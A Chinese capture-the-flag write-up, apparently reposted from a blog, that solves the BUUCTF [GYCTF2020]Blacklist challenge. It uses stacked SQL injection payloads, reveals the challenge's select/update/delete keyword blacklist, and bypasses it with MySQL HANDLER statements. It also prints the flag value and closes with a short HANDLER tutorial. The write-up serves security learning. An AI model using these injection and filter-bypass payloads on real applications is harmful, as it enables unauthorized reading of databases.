BUUCTF靶场31 -- [GYCTF2020]Blacklist

mind

BUUCTF靶场31 -- [GYCTF2020]Blacklist


输入1，返回如下：

输入1a查看到回显

可以判断为字符型注入，输入select发现被过滤掉了

1';show database;#

1';use supersqli;#

1';show tables;#


1';desc FlagHere;

[Plain Text] 纯文本查看 复制代码

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

发现flag列，推测其应为flag,尝试获取内容，但是因为select被限制

1';select * from supersqli.FlagHere;
返回：
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

大小写绕过：
1';Select * from supersqli.FlagHere;
失败；
双写绕过,
1';Seselectlect * frfromom supersqli.FlagHere;

查了一些资料了解HANDLER语法可以绕过select限制

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;


返回：

[PHP] 纯文本查看 复制代码

array(1) {
  [0]=>
  string(42) "flag{3cc1acca-4fd9-4ffc-bc51-1f6cdb203bca}"
}

考察点：堆叠注入

[SQL] 纯文本查看 复制代码

desc查看表结构的详细信息
desc table_name;
PS:此处desc是describe的缩写，用法: desc 表名/查询语句
desc降序排列数据
select ename,sal from emp order by sal desc;
手动指定按照薪水由大到小排序(降序关键字desc)
select ename,sal from emp order by sal asc;
手动指定按照薪水由小到大排序(升序关键字asc)
PS:此处desc是descend的缩写，用法select * from 表 order by 字段 desc

[SQL] 纯文本查看 复制代码

handler
写个实例吧感觉好理解一些
创建数据表
create table handler_table(  
    c1 int,   
    c2 varchar(10),   
    c3 int(10) 
);  
insert into handler_table values(2, 'name2', 002);  
insert into handler_table values(5, 'name5', 005);  
insert into handler_table values(1, 'name1', 001);  
insert into handler_table values(4, 'name4', 004);  
insert into handler_table values(3, 'name3', 003);
打开句柄
mysql> handler handler_table open;
查看数据
mysql> handler handler_table read first;
+------+-------+------+
| c1   | c2    | c3   |
+------+-------+------+
|    2 | name2 |    2 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1   | c2    | c3   |
+------+-------+------+
|    5 | name5 |    5 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1   | c2    | c3   |
+------+-------+------+
|    1 | name1 |    1 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1   | c2    | c3   |
+------+-------+------+
|    4 | name4 |    4 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1   | c2    | c3   |
+------+-------+------+
|    3 | name3 |    3 |
+------+-------+------+
mysql> handler handler_table read next;
Empty set (0.00 sec)
关闭句柄
mysql> handler handler_table close;
Query OK, 0 rows affected (0.00 sec)

from：https://blog.csdn.net/weixin_52268949/article/details/122707006